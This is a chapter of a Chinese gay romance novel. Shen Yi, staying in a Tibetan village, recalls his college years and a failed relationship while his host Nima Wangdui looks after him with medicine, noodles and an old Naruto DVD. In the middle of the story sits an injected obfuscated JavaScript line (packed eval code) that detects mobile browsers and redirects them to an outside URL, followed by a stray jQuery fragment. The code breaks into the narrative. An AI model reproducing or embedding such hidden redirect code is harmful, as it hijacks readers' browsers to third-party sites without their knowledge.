摩托车的轰鸣是这寒夜里唯一的节奏，沈翊将脸埋在尼玛旺堆宽阔的后背，掌下那只冻红的耳朵渐渐有了暖意，却仿佛在他心里点起了一把无法熄灭的火。
这亲密的接触，像一把钥匙，不仅打开了尘封的家族创伤，也让他无法控制地回溯起更私密、更琐碎的青春阵痛。
记忆的碎片在颠簸中纷至沓来。大学男生宿舍里那些充满荷尔蒙的、令他如坐针毡的时刻，比如，有人会在水声哗哗的厕所里，毫无顾忌地比较着身体部位，发出夸张的哄笑。
那时的沈翊只想变成墙壁上一块没有知觉的瓷砖，或者直接从世界上蒸发。还有那位公认的“宿舍门面”，情史丰富得像一本不断连载的言情小说，空窗期从不超过两周。
大家私下里也会调侃他“渣”，玩笑道德风险，那人却总是漫不经心地晃着腿，用一种近乎哲理的语气说：
“感情嘛，跟投资一样，有赚有赔，高风险高回报。我玩我的心跳，你们走你们的纯爱路线。”他的目光有时会落在总是沉默的沈翊身上，带着点戏谑，“尤其是你，沈翊，长得人模狗样，居然母胎单身？说出去得让多少对你有想法的姑娘幻灭啊！谁能想到帅哥壳子里装的是个爱情绝缘体？”
每当这种时候，沈翊只能扯出一个干巴巴的笑，迅速转移话题，心脏却在胸腔里尴尬地缩紧，生怕那层努力维持的“正常”外壳被轻易戳破。
大一秋天，室友们纷纷坠入爱河，有人甚至信誓旦旦毕业就结婚。他被热心的室友拖着参加各种社团联谊，美其名曰“拓展社交”，实则是一场针对他的、温柔而持续的“相亲”安排。
沈翊厌恶“物色”这个词，那让他感觉自己像货架上的商品，也让他对室友们的好意感到沉重的负担。直到某次活动，一个真正优秀开朗的女孩向他明确表示好感。拒绝的那一刻，他看着她骤然黯淡却依旧保持礼貌的眼睛，心里没有惋惜，只有一种尘埃落定无奈，不是伪装，不是反抗家庭的工具，他是真的，天生如此。
确认这一点时，他甚至有种扭曲的轻松。
看惯了父母和那位“门面”室友的混.乱.情.史，他曾以为自己也会在解放后纵情声色，游戏人间。然而并没有。他的前半生，真正纠缠过的，只有江泽一个。能让他放下所有戒备拥抱亲吻的，也只有那一个人。他曾经以为自己是痴情种，现在想来，或许只是胆怯，害怕踏入那片从未真正涉足、且注定艰难的领域。
曾经那位与他成为挚友的男生，在毕业散伙饭的喧嚣中，曾红着眼眶，用力握着他的手，以自身四年无果的苦涩单恋换来一句血泪教训：“沈翊，记住，千万别喜欢直男。更别妄想能掰弯他们。”这句话，沈翊曾以为会是保护自己的金科玉律。
可现在呢？沈翊感受着掌心下尼玛旺堆耳廓的轮廓，感受着透过厚重衣物传来的、对方背脊的坚实温度。
这算什么？才认识几天，他竟然对这个生活在另一个世界、思维迥异、口口声声“不喜欢男生”的直男，产生了如此深重的依赖和……贪恋。是因为这远离尘嚣的环境？还是因为对方身上那种未经雕琢的、纯粹至极的善意，恰好击中了他内心最荒芜、最渴望被填补的部分？
摩托车的速度慢了下来，熟悉的院落轮廓出现在视线里。到家时，已过凌晨一点。炉火早已熄灭，房间里的空气冷得几乎凝滞，与屋外相差无几。
尼玛旺堆轻手轻脚地开门，先让沈翊进去，自己才跟入，迅速反手关紧门，将寒风隔绝在外。他们一起上楼，他动作麻利地掀开沈翊床铺上厚重的被子，用手探了探里面的温度，眉头微皱，显然对这份冰冷不太满意。接着，他转身打开墙边的木柜，拿出一套叠得整齐的、干净的藏式内衣和一件厚实的旧毛衣，递过来：“哥，赶紧把湿衣服换下来。我去烧点水，熬个姜汁可乐驱驱寒。”
沈翊接过那叠衣服，布料柔软，带着柜子里淡淡的樟木和阳光味道。他看了一眼自己放在墙角的行李箱，犹豫了一瞬。穿对方的贴身衣物，似乎过于亲密了。最终，他还是走向自己的箱子，拿出了干净衣物。
他告诫自己：别多想，直男的思维里可能根本没有这些弯弯绕绕，倒是自己这个“恋爱脑”，容易自作多情，陷入不必要的解读。
换衣服时，房间里安静得能听见自己窸窣的穿衣声和心跳。他拿出手机，屏幕亮起的瞬间，一条消息提示猛地撞入眼帘——来自江泽的一封邮件。
那个名字像一根扎在心上的针，刺破了此刻艰难积聚起来的一点暖意。沈翊的手指悬在屏幕上方，迟迟没有点下。他并非铁石心肠，也清楚自己心里某个角落，尚未将关于江泽的一切彻底放下。如果不是那样不堪的方式撞破，以他对感情的惯性执着，或许真的会一次次原谅。毕竟，那些共同度过的岁月，那些曾经以为能指向永恒的瞬间，并非全是虚假。
锁屏照片恰好是他们的毕业合影。阳光下，两人头靠着头，笑容明亮，看起来幸福得天衣无缝。沈翊凝视着，心底涌起巨大的荒谬感。曾经笃信不疑的“一生”，为何如此轻易就变了质地？也许从一开始就不该相信“爱”这种过于理想化的概念？可人终究是渴望温暖的动物，一个与你毫无血缘的人，承诺爱上你并愿意共度余生。这种诱惑，对于在亲情中饱尝失望的他来说，曾是抵御整个世界寒意的唯一火种。
“哥，换好了吗？”尼玛旺堆的声音压得很低，从门帘外传来，小心翼翼，生怕惊扰了隔壁已经歇息的母亲。
沈翊深吸一口气，仿佛将那张毕业照带来的滞重情绪暂时压下，起身掀开门帘：“好了。”
尼玛旺堆手里端着两个冒着滚滚热气的马克杯，姜和可乐混合的独特的气息扑面而来。他将其中一杯塞到沈翊手里：“快，趁热喝下去，发发汗。”他的指尖不经意间碰到了沈翊的手背，温热干燥。
不等沈翊回应，他又转身出去了，很快抱着一个小纸箱回来，里面琳琅满目，是各种品牌的感冒药、退烧药、消炎药，胶囊、药片、冲剂，应有尽有。他将纸箱放在小桌上，脸上带着一种近乎憨厚的、完成任务的骄傲：“我把村里小卖部和卫生所里能买的感冒药都拿了一盒。哥，你看看你平时习惯吃哪种？赶紧吃上，先预防在世。”
沈翊看着那一堆药，愣住了。心里那点因江泽邮件而生的阴郁，被这夸张又朴实的关怀冲得七零八落，只剩下满满的、近乎酸软的震动。“这……太多了，我哪吃得了这么多。”
尼玛旺堆有些不好意思地挠了挠后颈：“我怕哥你对这边的药不习惯，或者有些成分过敏……反正有备无患嘛。”他催促道，“你快看看，挑着吃。”
沈翊依言，找出自己常备的两种药，就着温热的姜汁可乐服下。暖流从喉咙滑入胃袋，迅速向四肢扩散，确实驱散了不少寒气。他放下杯子，看着尼玛旺堆仔细地将剩余药品收回箱子，那个问题再次不受控制地浮上心头：为什么要做到这个地步？仅仅因为我是客人？还是这片土地上的人们，天性就是如此炽热无私？
尼玛旺堆放好药箱，回头问：“哥，饿不饿？想不想吃点东西？这么一折腾，胃里空了吧。”
沈翊看了眼手机，凌晨两点。“这个点，哪有吃的？”
“外面肯定没了，”尼玛旺堆摇头，“不过我可以做点简单的。阿妈晚上应该给我们留了吃的，热一下就行，不会吵到她。”
前任江泽从未为他下过厨，甚至连一杯热水都鲜少主动递过。沈翊心里泛起一丝复杂的滋味，点了点头：
“好，麻烦你了。”
“不麻烦。”尼玛旺堆起身，走到房间另一侧，从柜子高处搬下一个有些年头的纸盒，打开，里面整整齐齐码
放着许多用塑料套封好的光碟。他抱着盒子走过来，放在沈翊手边：“哥，你先看看碟子，挑个想看的。我去热饭，很快。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182983|196977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沈翊接过盒子，沉甸甸的，像是装着一整个旧时光。他盘腿坐在垫子上，就着灯光翻阅。碟片绝大多数是动漫，《七龙珠》、《火影忍者》、《海贼王》、《死神》……还有零星几部老版武侠剧。他并不热衷动漫，但此刻也无心挑剔，随手拿起一枚《火影忍者》第一部的碟片，封面上漩涡鸣人的笑容灿烂依旧。
当尼玛旺堆用一个小托盘端着两碗热气腾腾的面食进来时，沈翊正对着那堆光碟出神。
“快接着，哥，小心烫。”尼玛旺堆将其中一碗面放在沈翊面前的小桌上，另一碗放在自己那边。碗里是手工切的面条，粗细均匀，浸在浓香的汤底里，上面铺着一层炒得喷香的牛肉沫和葱花，令人食指大动。
沈翊由衷赞叹：“这面看着就好吃。”
“自家做的面，筋道。”尼玛旺堆笑着，递过一双筷子，自己也坐了下来。他指指沈翊手边的碟片盒子，
“哥，选好了吗？想看哪个？”
“就这个吧。”沈翊把《火影忍者》的碟片递过去，“好多年没看过光盘了，有点怀念。”
尼玛旺堆接过碟片，走到那台老式电视机和DVD播放机前，熟练地擦拭碟面，开机，放入。一阵读盘的嗡嗡声后，电视屏幕上出现了熟悉的片头画面与音乐。他调试好音量，确保不会传得太远，这才回到垫子上坐下。
“这些碟片年头都不短了吧？保存得真好。”沈翊挑起一筷子面，吹了吹气。
“嗯，有些是我阿姐买的，有些是我小时候攒零花钱买的。”尼玛旺堆也大口吃起来，声音有些含糊，“现在电脑上看更方便，但这些老碟片舍不得扔。尤其是火影，买过两套，第一套是日文原声的，听惯了，后来买的中文版反而觉得别扭。”
沈翊挑起一筷子面条送入口中，手工面的筋道爽滑混合着醇厚的骨汤和炒得喷香的牛肉末，瞬间征服了他的味蕾。他眼睛一亮，迅速咽下这一口，忍不住问：“这面……真是你们自己做的？”
尼玛旺堆嘴里还塞着面条，用力点了点头，快速咀嚼几下咽下去才开口解释：“面是拿到市里专门的铺子用机器切的，但面粉、鸡蛋都是自家带的，和面、揉面也是阿妈来的。店里也有现成的材料，但我们总觉得自家的更好些。”他又吸溜了一大口，满足地眯了下眼，“鸡蛋得一个一个打到面粉里，不能含糊。”
两人边吃边看，老旧电视的光映在脸上明明灭灭。那只神出鬼没的猫不知何时又溜了进来，悄无声息地蹭到尼玛旺堆脚边，用脑袋拱了拱他的小腿。
尼玛旺堆快速扒完最后几口面，放下碗，顺手从自己碗里挑出一小块不带汤汁的牛肉，又拿起角落里那个专属于猫的、巴掌大的小碗，将肉放进去，推到墙角。猫咪立刻跟过去，低头嗅了嗅，慢条斯理地吃起来。
“它倒是一点不怕你。”沈翊看着这一幕，觉得有趣。
“装的。”尼玛旺堆收拾着自己的碗筷，笑道，“它精明着呢，知道谁手里有吃的。等吃饱了，你看它还理不理我。”
沈翊看着尼玛旺堆自然的侧脸，看着他对待猫咪那份不经意的温柔，看着他为自己忙前忙后、准备一切的身影。深夜的寒意被热汤和屋内的气氛驱散，取而代之的是一种宁静的、让人心安的暖意。屏幕上的少年们正在为了梦想和羁绊热血奋战，而在这个遥远藏地村落的小房间里，时间仿佛流淌得格外缓慢。
一些极其细微的东西，如同春日尚未融化冰面下的暗流，正在悄然涌动。沈翊不再去深究那份“好”的缘由，他让自己沉浸在这种被细致照顾的当下。
那些关于过去的邮件，关于未来的迷茫，似乎都被这碗热汤、这部老动画、还有眼前这个人身上散发出的安定感，暂时地隔绝在了这个温暖夜晚之外。
他只是隐约觉得，某些坚固的东西正在松动，某些新的、他尚无法命名的东西，正在这片星空下的土地上，悄然萌芽。